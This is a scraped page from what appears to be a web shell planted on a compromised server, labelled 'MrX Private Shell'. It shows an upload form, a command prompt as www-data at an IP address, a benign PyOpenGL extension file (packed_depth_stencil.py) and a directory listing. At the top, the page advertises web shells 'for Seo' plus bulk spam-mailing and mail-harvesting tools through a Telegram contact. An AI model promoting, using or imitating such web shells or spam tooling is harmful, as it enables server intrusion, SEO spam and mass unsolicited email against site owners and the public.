__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.60: ~ $
'''OpenGL extension EXT.packed_depth_stencil

This module customises the behaviour of the 
OpenGL.raw.GL.EXT.packed_depth_stencil to provide a more 
Python-friendly API

Overview (from the spec)
	
	Many OpenGL implementations have chosen to interleave the depth and
	stencil buffers into one buffer, often with 24 bits of depth
	precision and 8 bits of stencil data.  32 bits is more than is
	needed for the depth buffer much of the time; a 24-bit depth buffer,
	on the other hand, requires that reads and writes of depth data be
	unaligned with respect to power-of-two boundaries.  On the other
	hand, 8 bits of stencil data is more than sufficient for most
	applications, so it is only natural to pack the two buffers into a
	single buffer with both depth and stencil data.  OpenGL never
	provides direct access to the buffers, so the OpenGL implementation
	can provide an interface to applications where it appears the one
	merged buffer is composed of two logical buffers.
	
	One disadvantage of this scheme is that OpenGL lacks any means by
	which this packed data can be handled efficiently.  For example,
	when an application reads from the 24-bit depth buffer, using the
	type GL_UNSIGNED_SHORT will lose 8 bits of data, while
	GL_UNSIGNED_INT has 8 too many.  Both require expensive format
	conversion operations.  A 24-bit format would be no more suitable,
	because it would also suffer from the unaligned memory accesses that
	made the standalone 24-bit depth buffer an unattractive proposition
	in the first place.
	
	Many applications, such as parallel rendering applications, may also
	wish to draw to or read back from both the depth and stencil buffers
	at the same time.  Currently this requires two separate operations,
	reducing performance.  Since the buffers are interleaved, drawing to
	or reading from both should be no more expensive than using just
	one; in some cases, it may even be cheaper.
	
	This extension provides a new data format, GL_DEPTH_STENCIL_EXT,
	that can be used with the glDrawPixels, glReadPixels, and
	glCopyPixels commands, as well as a packed data type,
	GL_UNSIGNED_INT_24_8_EXT, that is meant to be used with
	GL_DEPTH_STENCIL_EXT.  No other data types are supported with
	GL_DEPTH_STENCIL_EXT.  If ARB_depth_texture or SGIX_depth_texture is
	supported, GL_DEPTH_STENCIL_EXT/GL_UNSIGNED_INT_24_8_EXT data can
	also be used for textures; this provides a more efficient way to
	supply data for a 24-bit depth texture.
	
	GL_DEPTH_STENCIL_EXT data, when passed through the pixel path,
	undergoes both depth and stencil operations.  The depth data is
	scaled and biased by the current GL_DEPTH_SCALE and GL_DEPTH_BIAS,
	while the stencil data is shifted and offset by the current
	GL_INDEX_SHIFT and GL_INDEX_OFFSET.  The stencil data is also put
	through the stencil-to-stencil pixel map.
	
	glDrawPixels of GL_DEPTH_STENCIL_EXT data operates similarly to that
	of GL_STENCIL_INDEX data, bypassing the OpenGL fragment pipeline
	entirely, unlike the treatment of GL_DEPTH_COMPONENT data.  The
	stencil and depth masks are applied, as are the pixel ownership and
	scissor tests, but all other operations are skipped.
	
	glReadPixels of GL_DEPTH_STENCIL_EXT data reads back a rectangle
	from both the depth and stencil buffers.
	
	glCopyPixels of GL_DEPTH_STENCIL_EXT data copies a rectangle from
	both the depth and stencil buffers.  Like glDrawPixels, it applies
	both the stencil and depth masks but skips the remainder of the
	OpenGL fragment pipeline.
	
	glTex[Sub]Image[1,2,3]D of GL_DEPTH_STENCIL_EXT data loads depth and
	stencil data into a depth_stencil texture.  glGetTexImage of
	GL_DEPTH_STENCIL_EXT data can be used to retrieve depth and stencil
	data from a depth/stencil texture.
	
	In addition, a new base internal format, GL_DEPTH_STENCIL_EXT, can
	be used by both texture images and renderbuffer storage.  When an
	image with a DEPTH_STENCIL_EXT internal format is attached to both
	the depth and stencil attachment points of a framebuffer object (see
	EXT_framebuffer_object), then it becomes both the depth and stencil
	buffers of the framebuffer.  This fits nicely with hardware that
	interleaves both depth and stencil data into a single buffer.  When
	a texture with DEPTH_STENCIL_EXT data is bound for texturing, only
	the depth component is accessible through the texture fetcher.  The
	stencil data can be written with TexImage or CopyTexImage, and can
	be read with GetTexImage.  When a DEPTH_STENCIL_EXT image is
	attached to the stencil attachment of the bound framebuffer object,
	the stencil data can be accessed through any operation that reads
	from or writes to the framebuffer's stencil buffer.

The official definition of this extension is available here:
http://www.opengl.org/registry/specs/EXT/packed_depth_stencil.txt
'''
from OpenGL import platform, constant, arrays
from OpenGL import extensions, wrapper
import ctypes
from OpenGL.raw.GL import _types, _glgets
from OpenGL.raw.GL.EXT.packed_depth_stencil import *
from OpenGL.raw.GL.EXT.packed_depth_stencil import _EXTENSION_NAME

def glInitPackedDepthStencilEXT():
    '''Return boolean indicating whether this extension is available'''
    from OpenGL import extensions
    return extensions.hasGLExtension( _EXTENSION_NAME )


### END AUTOGENERATED SECTION
# Setup the new image types
from OpenGL import images 
from OpenGL.raw.GL.VERSION.GL_1_1 import GL_UNSIGNED_INT
images.TYPE_TO_ARRAYTYPE[ GL_UNSIGNED_INT_24_8_EXT ] = GL_UNSIGNED_INT
images.TIGHT_PACK_FORMATS[ GL_UNSIGNED_INT_24_8_EXT ] = 4
images.COMPONENT_COUNTS[ GL_DEPTH_STENCIL_EXT ] = 4

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
EGL_image_storage.py File 1.86 KB 0644
EGL_sync.py File 1.03 KB 0644
GL_422_pixels.py File 1.51 KB 0644
__init__.py File 23 B 0644
abgr.py File 1017 B 0644
bgra.py File 962 B 0644
bindable_uniform.py File 1.75 KB 0644
blend_color.py File 1.02 KB 0644
blend_equation_separate.py File 1.44 KB 0644
blend_func_separate.py File 1.07 KB 0644
blend_logic_op.py File 1.12 KB 0644
blend_minmax.py File 1.24 KB 0644
blend_subtract.py File 1.07 KB 0644
clip_volume_hint.py File 1.11 KB 0644
cmyka.py File 1.64 KB 0644
color_subtable.py File 1.14 KB 0644
compiled_vertex_array.py File 1.7 KB 0644
convolution.py File 2.89 KB 0644
coordinate_frame.py File 2.17 KB 0644
copy_texture.py File 1.06 KB 0644
cull_vertex.py File 1.63 KB 0644
debug_label.py File 1.54 KB 0644
debug_marker.py File 1.37 KB 0644
depth_bounds_test.py File 3.05 KB 0644
direct_state_access.py File 32.5 KB 0644
draw_buffers2.py File 1.52 KB 0644
draw_instanced.py File 1.19 KB 0644
draw_range_elements.py File 1.14 KB 0644
external_buffer.py File 2.9 KB 0644
fog_coord.py File 1.23 KB 0644
framebuffer_blit.py File 1.11 KB 0644
framebuffer_blit_layers.py File 955 B 0644
framebuffer_multisample.py File 4.5 KB 0644
framebuffer_multisample_blit_scaled.py File 2.58 KB 0644
framebuffer_object.py File 6.59 KB 0644
framebuffer_sRGB.py File 2.35 KB 0644
geometry_shader4.py File 2.4 KB 0644
gpu_program_parameters.py File 1.84 KB 0644
gpu_shader4.py File 7.7 KB 0644
histogram.py File 2.1 KB 0644
index_array_formats.py File 967 B 0644
index_func.py File 975 B 0644
index_material.py File 1.24 KB 0644
index_texture.py File 1.13 KB 0644
light_texture.py File 1.62 KB 0644
memory_object.py File 1.25 KB 0644
memory_object_fd.py File 767 B 0644
memory_object_win32.py File 785 B 0644
misc_attribute.py File 1010 B 0644
multi_draw_arrays.py File 1.63 KB 0644
multisample.py File 739 B 0644
multiview_tessellation_geometry_shader.py File 2.13 KB 0644
multiview_texture_multisample.py File 2.18 KB 0644
multiview_timer_query.py File 1.15 KB 0644
packed_depth_stencil.py File 5.46 KB 0644
packed_float.py File 1.73 KB 0644
packed_pixels.py File 1.26 KB 0644
paletted_texture.py File 3.49 KB 0644
pixel_buffer_object.py File 3.34 KB 0644
pixel_transform.py File 1.72 KB 0644
pixel_transform_color_table.py File 969 B 0644
point_parameters.py File 3.11 KB 0644
polygon_offset.py File 1.47 KB 0644
polygon_offset_clamp.py File 1.36 KB 0644
post_depth_coverage.py File 1.22 KB 0644
provoking_vertex.py File 2.02 KB 0644
raster_multisample.py File 1.69 KB 0644
rescale_normal.py File 1.19 KB 0644
secondary_color.py File 1.92 KB 0644
semaphore.py File 2.22 KB 0644
semaphore_fd.py File 744 B 0644
semaphore_win32.py File 762 B 0644
separate_shader_objects.py File 5.29 KB 0644
separate_specular_color.py File 2.36 KB 0644
shader_framebuffer_fetch.py File 2.7 KB 0644
shader_framebuffer_fetch_non_coherent.py File 891 B 0644
shader_image_load_formatted.py File 1.2 KB 0644
shader_image_load_store.py File 3.68 KB 0644
shader_integer_mix.py File 1.01 KB 0644
shader_samples_identical.py File 2.08 KB 0644
shadow_funcs.py File 929 B 0644
shared_texture_palette.py File 1.23 KB 0644
sparse_texture2.py File 2.14 KB 0644
stencil_clear_tag.py File 3.97 KB 0644
stencil_two_side.py File 1.12 KB 0644
stencil_wrap.py File 1.63 KB 0644
subtexture.py File 1.57 KB 0644
texture.py File 2.08 KB 0644
texture3D.py File 1.39 KB 0644
texture_array.py File 2.55 KB 0644
texture_buffer_object.py File 2.77 KB 0644
texture_compression_latc.py File 1.43 KB 0644
texture_compression_rgtc.py File 1.71 KB 0644
texture_compression_s3tc.py File 1.27 KB 0644
texture_cube_map.py File 3.43 KB 0644
texture_env_add.py File 983 B 0644
texture_env_combine.py File 1.64 KB 0644
texture_env_dot3.py File 1.41 KB 0644
texture_filter_anisotropic.py File 2.83 KB 0644
texture_filter_minmax.py File 1.57 KB 0644
texture_integer.py File 3.78 KB 0644
texture_lod_bias.py File 1.55 KB 0644
texture_mirror_clamp.py File 1.36 KB 0644
texture_object.py File 1.86 KB 0644
texture_perturb_normal.py File 1.03 KB 0644
texture_sRGB.py File 1.36 KB 0644
texture_sRGB_R8.py File 956 B 0644
texture_sRGB_RG8.py File 945 B 0644
texture_sRGB_decode.py File 1.58 KB 0644
texture_shadow_lod.py File 1.39 KB 0644
texture_shared_exponent.py File 1.83 KB 0644
texture_snorm.py File 1.3 KB 0644
texture_storage.py File 1.77 KB 0644
texture_swizzle.py File 1.79 KB 0644
timer_query.py File 2.33 KB 0644
transform_feedback.py File 3.1 KB 0644
vertex_array.py File 2.62 KB 0644
vertex_array_bgra.py File 3.39 KB 0644
vertex_attrib_64bit.py File 3.69 KB 0644
vertex_shader.py File 4.19 KB 0644
vertex_weighting.py File 1.99 KB 0644
win32_keyed_mutex.py File 1.08 KB 0644
window_rectangles.py File 2.02 KB 0644
x11_sync_object.py File 1.66 KB 0644
Filemanager